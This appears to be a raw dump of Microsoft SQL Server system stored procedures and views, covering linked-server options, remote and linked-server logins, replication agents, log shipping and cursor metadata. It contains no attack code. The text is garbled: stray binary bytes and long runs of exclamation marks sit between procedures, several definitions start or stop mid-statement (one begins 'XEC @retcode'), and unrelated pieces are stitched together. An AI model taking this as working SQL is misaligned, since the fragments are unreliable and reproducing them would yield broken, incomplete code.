		EXEC %%LinkedServer(Name=@server).SetQueryTimeout( Value = @timeout )
	ELSE IF @optname = 'name'
	BEGIN
		-- Change name, checking for duplicate
		EXEC %%LinkedServer(Name=@server).SetName( Name = @optvalue )
		IF @@error <> 0
		BEGIN
			ROLLBACK TRAN
			raiserror(15335,-1,-1,@optvalue,N'SERVER')
			return 1
		END
	END

	-- is this a linked server?
	select @is_linked = is_linked from sys.servers where name = @server

	if @is_linked = 1
	begin
		-- EMDEventType(x_eet_Alter_Linked_Server), EMDUniversalClass(x_eunc_Linked_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 263, ID = 102, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 3, Value = @server, Value = @optname, Value = @optvalue, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	else
	begin
		-- EMDEventType(x_eet_Alter_Remote_Server), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 217, ID = 100, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 3, Value = @server, Value = @optname, Value = @optvalue, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end

	-- SUCCESS
	COMMIT TRAN
	RETURN (0) -- sp_serveroption


bad_option:		-- INVALID PARAMETER
	raiserror(15600,-1,-1,'sys.sp_serveroption')
	RETURN 1 -- sp_serveroption
0 g P8Gh>\CT
	spatial_reference_id, 
	authority_name,
	authorized_spatial_reference_id,
	well_known_text,
	unit_of_measure,
	unit_conversion_factor
FROM	sys.spatial_reference_systems_tvf()
0@ y8 
-- add it
create view sys.dm_pdw_os_threads as
select
	pdw_node_id,
	thread_id,
	process_id,
	name	collate database_default name,
	priority,
	start_time,
	state	collate database_default state,
	wait_reason	collate database_default wait_reason,
	total_processor_elapsed_time,
	total_user_elapsed_time
from sys._dm_pdw_os_threads
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!++`*
<N;oR0L /8-- Creation of sp_describe_cursor_tables

create procedure sys.sp_describe_cursor_tables
(  @cursor_return CURSOR VARYING OUTPUT,
   @cursor_source nvarchar (30),
   @cursor_identity nvarchar (128)
)
AS

declare @scope int
select @cursor_source = LOWER (@cursor_source collate Latin1_General_CI_AS)

/* Check if the cursor exists by name or handle. */
If cursor_status ( @cursor_source, @cursor_identity ) >= -1
begin
	if convert(varchar(30), @cursor_source) = 'local' OR
		convert(varchar(128), @cursor_source) = 'variable'
		select @scope = 1
	else
	if convert(varchar(30), @cursor_source) = 'global'
		select @scope = 2

	set @cursor_return =  	CURSOR LOCAL SCROLL DYNAMIC FOR
				SELECT table_owner, table_name, optimizer_hint, lock_type, server_name, objectid, dbid, dbname
				FROM sys.syscursorrefs scr, sys.syscursortables sct
				WHERE 	scr.cursor_scope = @scope and
					scr.reference_name = @cursor_identity and
					scr.cursor_handl = sct.cursor_handle
				FOR READ ONLY
	open @cursor_return
end
0S 8
create procedure sys.sp_primarykeys
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null
)
as
    select
        TABLE_CAT   = TABLE_CATALOG,
        TABLE_SCHEM = TABLE_SCHEMA,
        TABLE_NAME  = TABLE_NAME,
        COLUMN_NAME = COLUMN_NAME,
        KEY_SEQ     = ORDINAL,
        PK_NAME     = convert(sysname, NULL)

    from
        sys.fn_remote_primary_keys (
                @table_server,
                @table_catalog,
                @table_schema,
                @table_name)
    order by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, KEY_SEQ
0xd D8JhjJ"}0k9 880H!@ 8create procedure sys.sp_mapdown_bitmap (
    @mapdownbm varbinary(128), 
    @bm varbinary(128) OUTPUT   
)
as
begin
    declare @retcode    int
    exec @retcode = sys.xp_mapdown_bitmap @mapdownbm, @bm output
    return @retcode
end
0$@ $	8create procedure sys.sp_replmonitorsynchronize 
(
    @mode int -- 0 - get lock_refreshcheckexclusive, 1 - get lock_refreshcheckshared, 2 - release lock_refreshcheck, 3 - get lock_compute, 4 - release lock_compute
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@lkmode nvarchar(32)

    if (@mode in (0,1))
    begin
        -- get the lock for refresh check and table update
        -- loop till you get it
        while (1=1)
        begin
            select @lkmode = case when (@mode = 0) then 'Exclusive' else 'Shared' end
            exec @retcode = sp_getapplock  @Resource =  'replmonitorrefreshcheck' 
                                 ,@LockMode =  @lkmode 
                                 ,@LockOwner =  'Session'  
                                 ,@LockTimeout =  '1000'
                                 ,@DbPrincipal =  'db_owner'
            if (@retcode in (0,1))
                return 0
            if (@retcode < -1)
                return 1
        end
        select @retcode = 1
    end
    else if (@mode = 2)
    begin
        -- release lock refresh check and table update
        exec @retcode = sp_releaseapplock  @Resource =  'replmonitorrefreshcheck' 
                             ,@LockOwner =  'Session'  
                             ,@DbPrincipal =  'db_owner'
        if (@retcode != 0)
            return 1
    end
    else if (@mode = 3)
    begin
        -- get the lock for compute instantly - no wait
        exec @retcode = sp_getapplock  @Resource =  'replmonitorcompute' 
                             ,@LockMode =  'Exclusive' 
                             ,@LockOwner =  'Session'  
                             ,@LockTimeout =  0
                             ,@DbPrincipal =  'db_owner'
        if (@retcode != 0)
            return 1
    end
    else if (@mode = 4)
    begin
        -- release lock for compute
        exec @retcode = sp_releaseapplock  @Resource =  'replmonitorcompute' 
                             ,@LockOwner =  'Session'  
                             ,@DbPrincipal =  'db_owner'
        if (@retcode != 0)
            return 1
    end
    else
        select @retcode = 1
    --
    -- all done
    --
    return @retcode
end
0" G8create procedure sys.sp_MSadd_log_shipping_error_detail 
(
    @agent_id uniqueidentifier     -- primary/secondary ID
    ,@agent_type tinyint              -- 0 = Backup, 1 = Copy, 2 = Restore
    ,@session_id int 
    ,@database sysname = NULL  -- primary/secondary database
    ,@sequence_number int
    ,@message nvarchar(4000) = N'No message specified'
    ,@source nvarchar(4000) = N'No source specified'
    ,@help_url nvarchar(4000) = N'No help_url specified'
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_idstring sysname
                ,@curdate datetime
                ,@curutcdate datetime
                ,@monitor_server sysname
                ,@monitor_server_security_mode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- validate agent_type
    --
    if (@agent_type not in (0,1,2))
    begin
        raiserror(21055, 16, -1, '@agent_type','sp_MSadd_log_shipping_error_detail')
        return 1
    end
    --
    -- validate agent
    --
    if (sys.fn_MSvalidatelogshipagentid(@agent_id, @agent_type) = 0)
    begin
        select @agent_idstring = cast(@agent_id as sysname)
        raiserror(32016, 16, 1, @agent_idstring, @agent_type)
        return 1
    end
    --
    -- set the dates
    --
    select @curdate = getdate()
                ,@curutcdate = getutcdate()
    --
    -- get monitor server information
    --
    if (@agent_type = 0)
    begin
        select @monitor_server = monitor_server
                    ,@monitor_server_security_mode = monitor_server_security_mode
        from msdb.dbo.log_shipping_primary_databases
        where primary_id = @agent_id
    end
    else
    begin
        select @monitor_server = monitor_server
                    ,@monitor_server_security_mode = monitor_server_security_mode
        from msdb.dbo.log_shipping_secondary
        where secondary_id = @agent_id
    end
    --
    -- add error record for monitoring
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorerror 
                    @mode = 1
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@sequence_number = @sequence_number
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@database = @database
                    ,@log_time = @curdate
                    ,@log_time_utc = @curutcdate
                    ,@message = @message
                    ,@source = @source
                    ,@help_url = @help_url
    if (@retcode != 0 or @@error != 0)
        goto UNDO    
    --
    -- all done
    --
    return 0

UNDO:
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`:*<#	0 8create procedure sys.sp_addremotelogin
	@remoteserver	sysname,			-- name of remote server
	@loginame		sysname = NULL,		-- user's local user name
	@remotename		sysname = NULL		-- user's remote name
as
	declare @localid int

	-- DISALLOW USER XACT --
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_addremotelogin')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any login') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1380142162, Success = 0, TargetLoginName = @loginame, TargetUserName = NULL, Role = NULL, Object = @remotename, Provider = NULL, Server = @remoteserver)
		raiserror(15247,-1,-1)
		return (1)
	end
	else
		EXEC %%System().AuditEvent(ID = 1380142162, Success = 1, TargetLoginName = @loginame, TargetUserName = NULL, Role = NULL, Object = @remotename, Provider = NULL, Server = @remoteserver)

	-- CHECK FOR INVALID PARAMETER SYNTAX --
	if @remoteserver is null OR (@loginame is null and @remotename is not null)
	begin
		raiserror(15600,-1,-1,'sys.sp_addremotelogin')
		return (1)
	end

	BEGIN TRAN

	-- VALIDATE/LOCK SERVER NAME --
	EXEC %%LinkedServer ( Name = @remoteserver ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	begin
		ROLLBACK TRAN
		raiserror(15015,-1,-1,@remoteserver)
		return (1)
	end

	-- VALIDATE/LOCK @loginame --
	select @localid = 0
	if @loginame is not null
	begin
		-- share-lock the local login
		EXEC %%LocalLogin ( Name = @loginame ) . Lock ( Exclusive = 0 )
		IF @@ERROR = 0
			select @localid = principal_id from sys.server_principals
				where name = @loginame and type = 'S'		-- cannot map to NT login
		if @localid = 0
		begin
			ROLLBACK TRAN
			raiserror(15007,-1,-1,@loginame)
			return (1)
		end
	end

	-- ADD NEW REMOTE-LOGIN (WILL CHECK FOR DUPLICATE <@remoteserver, @remotename> PAIR)
	EXEC %%LinkedServer(Name=@remoteserver).NewRemoteLogin( RemoteName = @remotename, LocalID = @localid )
	IF @@ERROR <> 0
	begin
		ROLLBACK TRAN
		if @remotename is null
			raiserror(15066,-1,-1,@remoteserver)
		else
			raiserror(15068,-1,-1,@remotename,@remoteserver)
		return (1)
	end

	-- SUCCESS --
	COMMIT TRAN
	return (0)	-- sp_addremotelogin
0t@ 8create procedure sys.sp_scriptdynamicupdproc 
(
    @artid int                  -- id of the article we are processing
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 2        -- MCALL format
            ,@mode = 2          -- dynamic scripting
            ,@publishertype = 1 -- SQL Server publisher
    return @retcode
end

--
-- Name: sp_scriptvupdproc
--
-- Owner: KaushikC
--
-- Description: This procs is used for scripting VCALL update custom procedure
-- used for command distribution. Used specifically for updating subscriber articles.
-- Processing is similar to MCALL update procedure, in addition the version is also passed in
--
-- Parameter: Refer to the comments in the create procedure statement
--
-- Returns: 1 or 0   0 = success
--
-- Security: Public procedure - internal security check. 
--
raiserror('Creating procedure sp_scriptvupdproc', 0,1)
0=8 	8create procedure sys.sp_MSdrop_dynamic_snapshot_agent 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @agent_id int
) 
AS
begin

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode    int
    DECLARE @job_id     binary(16)
    DECLARE @job_step_uid uniqueidentifier
    DECLARE @local_job  bit
    DECLARE @publisher_id smallint
    DECLARE @name       nvarchar(100)
    declare @no_of_agents int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_dynamic_snapshot_agent', 'distribution')
        return (1)
    end

    /*
    ** Initializations
    */
    select @publisher_id = srvid from master.dbo.sysservers where
        UPPER(srvname) = UPPER(@publisher)

    SELECT @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job, @name = name  FROM MSsnapshot_agents WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication and
        id = @agent_id

    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Snapshot", @name)

    -- Return if not exists
    IF @local_job IS NULL
        RETURN(0)

    BEGIN TRAN

    IF @local_job = 1
    BEGIN
        IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
        BEGIN                
            EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
            										@job_step_uid = @job_step_uid
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
        END
    END

    DELETE MSsnapshot_agents WHERE id = @agent_id
    IF @@ERROR <> 0 
        GOTO UNDO

    -- Remove history
    DELETE MSsnapshot_history WHERE agent_id = @agent_id
    IF @@ERROR <> 0 
        GOTO UNDO
        
    COMMIT TRAN
    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
end
XEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd            OUTPUT,
													@publisher_type	= @publisher_type OUTPUT

														
	IF @retcode <> 0
		RETURN (@retcode)

	--when called on mirror server, this adds original publiser name 
	--in distribution. (MSsubscriber_info and MSsubscriber_schedule)
	IF @publisher IS NULL
		SET @publisher = publishingservername() 

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addsubscriber'
	
	EXEC @retcode = @cmd
					@subscriber,
					@type,
					@login,
					@password,
					@commit_batch_size,
					@status_batch_size,
					@flush_frequency,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date,
					@description,
					@security_mode,
					@encrypted_password,
					@publisher,
					@publisher_type,
					N'PRE-YUKON'

	RETURN (@retcode)
END
0d D8`h' !!!!!!!!!!!!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login
	@rmtsrvname		sysname,
	@useself		varchar(8) = 'true',
	@locallogin		sysname = NULL,
	@rmtuser		sysname = NULL,
	@rmtpassword	sysname = NULL
as
	declare	@pwd	varbinary(256),
			@localid		int,
			@useselfbit	bit,
			@ret	int

	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_addlinkedsrvlogin')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any login') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1380142156, Success = 0, TargetLoginName = @locallogin, TargetUserName = NULL, Role = NULL, Object = @rmtuser, Provider = NULL, Server = @rmtsrvname)
		raiserror(15247,-1,-1)
		return (1)
	end
		EXEC %%System().AuditEvent(ID = 1380142156, Success = 1, TargetLoginName = @locallogin, TargetUserName = NULL, Role = NULL, Object = @rmtuser, Provider = NULL, Server = @rmtsrvname)


	-- VALIDATE @useself PARAMETER --
	-- IF @useself IS TRUE IT OVERRIDES PARAMETERS @rmtuser and @rmtpassword
	select @useself = lower(@useself), @useselfbit = CASE WHEN lower(@useself) = 'true' THEN 1 ELSE 0 END
	if @useself is null or @useself not in ('true','false')
	begin
		raiserror(15600,-1,-1,'sys.sp_addlinkedsrvlogin')
		return 1
	end
	if @useselfbit = 1
		select @rmtuser = NULL, @rmtpassword = NULL

	BEGIN TRAN

	-- VALIDATE/LOCK SERVER NAME --
	EXEC %%LinkedServer ( Name = @rmtsrvname ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	begin
		ROLLBACK TRAN
		raiserror(15015,-1,-1,@rmtsrvname)
		return (1)
	end

	-- IF SPECIFIED CHECK LOCAL USER NAME (NO NT GROUP!)
	select @localid = 0
	if (@locallogin IS NOT NULL)
	begin
		-- share-lock the local login
		EXEC %%LocalLogin ( Name = @locallogin ) . Lock ( Exclusive = 0 )
		IF @@ERROR = 0
			select @localid = principal_id from sys.server_principals
				where name = @locallogin and type in ('S', 'U')
		else
		begin
			-- ADD ROW FOR NT USER LOGIN IF NEEDED --
			if (get_sid('\U'+@locallogin) IS NOT NULL)
			begin
				EXEC @ret = sys.sp_MSaddlogin_implicit_ntlogin @locallogin
				if (@ret = 0)
					select @localid = principal_id from sys.server_principals
						where name = @locallogin and type = 'U'
			end
		end
		if (@localid = 0)
		begin
			ROLLBACK TRAN
			raiserror(15007,-1,-1,@locallogin)
			return (1)
		end
	end

	-- IF MAPPING ALREADY EXISTS FOR THIS SID, REMOVE IT (compatibility) --
	IF EXISTS (SELECT * FROM sys.linked_logins WHERE
			server_id IN (SELECT server_id FROM sys.servers where name = @rmtsrvname)
			AND local_principal_id = @localid)
	BEGIN
		EXEC %%LinkedServer(Name=@rmtsrvname).RemoveLinkedLogin(LocalID=@localid)
	END

	-- ADD THE SPECIFIED MAPPING --
	SELECT @pwd = convert(varbinary(256), @rmtpassword)
	EXEC %%LinkedServer(Name=@rmtsrvname).NewLinkedLogin(
				LocalID=@localid, UseSelf=@useselfbit, RemoteName=@rmtuser, Password=@pwd)

	-- SHOULDN'T GET A DUPLICATE (JUST DROPPED IF THERE), BUT DO THIS AS AN ASSERT --
	IF @@ERROR <> 0
	BEGIN
		ROLLBACK TRAN
		raiserror(15185,-1,-1,@rmtuser,@locallogin,@rmtsrvname)
		return (1)
	END

	-- EMDEventType(x_eet_Create_Linked_Server_Login), EMDUniversalClass(x_eunc_Linked_Server), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	-- Note: we do not pass @rmtpassword since it contains a password
	EXEC %%System().FireTrigger(ID = 226, ID = 102, ID = 0, ID = 0, Value = @rmtsrvname,
		ID = 101, ID = @localid, ID = 0, Value = NULL, 
		ID = 5, Value = @rmtsrvname, Value = @useself, Value = @locallogin, Value = @rmtuser, Value = NULL, Value = NULL, Value = NULL)

	-- SUCCESS --
	COMMIT TRAN
	return(0) -- sp_addlinkedsrvlogin
0@ 8
create proc sys.sp_MSGetServerProperties
as
   set nocount on

   DECLARE @auto_start                  INT
   DECLARE @startup_account             NVARCHAR(100)

   -- Read the values from the registry
   IF ((PLATFORM() & 0x1) = 0x1) -- NT
   BEGIN
      EXECUTE sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                             N'SYSTEM\CurrentControlSet\Services\MSSQLServer',
                                             N'Start',
                                             @auto_start OUTPUT,
                                             N'no_output'
      EXECUTE sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                             N'SYSTEM\CurrentControlSet\Services\MSSQLServer',
                                             N'ObjectName',
                                             @startup_account OUTPUT,
                                             N'no_output'
   END ELSE
   BEGIN
      SELECT @auto_start = 3 -- Manual start
      SELECT @startup_account = NULL
   END

   -- Return the values to the client
   SELECT auto_start = CASE @auto_start
                       WHEN 2 THEN 1 -- 2 means auto-start
                       WHEN 3 THEN 0 -- 3 means don't auto-start
                       ELSE 0        -- Safety net
                       END,
          startup_account = @startup_account

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p`"U	<X/)-0{ 8CREATE PROCEDURE sys.sp_fulltext_thesaurus_add_root
    @lcid int
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @stateid int,
            @term varbinary(132)
    
    SET @term = 0x00

    SELECT @stateid = stateid
        FROM tempdb.sys.fulltext_thesaurus_state_table
        WHERE ( ( parentid = 0 ) AND 
                ( lcid = @lcid ) AND
                ( term = @term ) )

    IF ( @stateid IS NULL )
    BEGIN
        INSERT INTO tempdb.sys.fulltext_thesaurus_state_table ( stateid, parentid, phraseid, term, lcid )
            VALUES (1, 0, @lcid, @term, @lcid )
        SET @stateid = 1
    END
    ELSE IF (@stateid != 1)
    BEGIN
       RAISERROR(30048, 16, 1, 0x80040005)
    END

    RETURN 1
END
0/ 8
create procedure sys.sp_bcp_dbcmptlevel
(
    @dbname sysname
)
as
    select
        cmptlevel = sdb.compatibility_level
    from
        sys.databases sdb
    where
        name = @dbname
0e@ 
8--
-- Name: sp_MSregistermergesnappubid
--
-- Description: This procedure is used by the merge agent to register the 
--              pubid of the publication for which the current snapshot is 
--              being delivered in the snapshot delivery progress table. By 
--              registering the pubid and the snapshot session token in the 
--              snapshot delivery progress table, the merge agent will be 
--              able to detect the case where a different snapshot is 
--              being delivered over a previously interrupted snapshot. 
--              If a different snapshot is being delivered over an 
--              interrupted snapshot, this procedure will perform the 
--              necessary cleanup in the merge meta-data tables to ensure that
--              the new snapshot can be delivered successfully.
--              
-- Parameters: @snapshot_session_token nvarchar(260) (mandatory)
--             @pubid uniqueidentifier (mandatory)
--
-- Note: This procedure should only be called by the merge agent at the 
--       subscriber database.
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: This is a public interface object, security check is performed 
--           inside this procedure to restrict access to sysadmins and 
--           db_owners of the subscriber database.
--
create procedure sys.sp_MSregistermergesnappubid (
    @snapshot_session_token nvarchar(260),
    @pubid uniqueidentifier
    )
as
begin
    set nocount on
    declare @retcode int
    declare @pubidprefix nvarchar(100)
    declare @transaction_opened bit
    declare @snapshot_progress_token nvarchar(500)
    declare @snapshot_progress_token_hash nvarchar(500)
    declare @previous_snapshot_session_token nvarchar(260)

    select @retcode = 0
    select @pubidprefix = N'<MergePubId>:'
    select @transaction_opened = 0
    select @snapshot_progress_token = @pubidprefix + convert(nvarchar(100), @pubid)
    select @snapshot_progress_token_hash = sys.fn_repl32bitstringhash(@snapshot_progress_token)
    select @previous_snapshot_session_token = null
   
    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

    begin transaction
    save transaction sp_MSregistermergesnappubid
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    select @transaction_opened = 1

    -- Try to pick up the session token of a previously interrupted snapshot
    -- delivery session for this publication
    if object_id('dbo.MSsnapshotdeliveryprogress', 'U') is not null
    begin

        select @previous_snapshot_session_token = session_token
          from dbo.MSsnapshotdeliveryprogress
         where progress_token_hash = @snapshot_progress_token_hash
           and progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

        -- The current snapshot is different from the one interrupted before, 
        -- need to do cleanup of the interrupted snapshot            
        if @previous_snapshot_session_token is not null and
           @previous_snapshot_session_token <> @snapshot_session_token
        begin
            exec @retcode = sys.sp_MSpurgepartialmergesnapshot 
                    @pubid = @pubid
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
        end
        else if @previous_snapshot_session_token is null
        begin
            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
        end
    end
    else
    begin
        exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                @snapshot_session_token = @snapshot_session_token,
                @snapshot_progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    end

    commit transaction
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    select @transaction_opened = 0
    
Failure:
    if @transaction_opened = 1
    begin
        rollback transaction sp_MSregistermergesnappubid
        commit transaction
    end
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Nc`	]<	
HWY0cZ^ 8create procedure sys.sp_helpremotelogin
@remoteserver sysname = NULL,	/* remote server name */
@remotename sysname = NULL		/* remote login name */
as
set nocount on

--  If no server given, get 'em all.
if not exists (select * from master.dbo.sysservers s, master.dbo.sysremotelogins r
	where s.srvid = r.remoteserverid
		and (@remoteserver is null or s.srvname = @remoteserver ))
	begin
		if @remoteserver is null
			begin
				raiserror(15200,-1,-1)
				return (0)
			end

		raiserror(15201,-1,-1,@remoteserver)
		return (1)
	end

--  If no remotename given, get 'em all.
if not exists (select * from master.dbo.sysremotelogins
	where (@remotename is null or isnull(remoteusername, ' ') = @remotename))
	begin
		if @remotename is null
			begin
				raiserror(15202,-1,-1)
				return (1)
			end

		raiserror(15203,-1,-1,@remotename)
		return (1)

	end

--  Check for empty results.
if not exists (select *
	from master.dbo.sysremotelogins r, master.dbo.sysservers s
	where ( @remotename is null or isnull(r.remoteusername, ' ') = @remotename)
		and s.srvid = r.remoteserverid
		and (@remoteserver is null or s.srvname = @remoteserver))
	begin
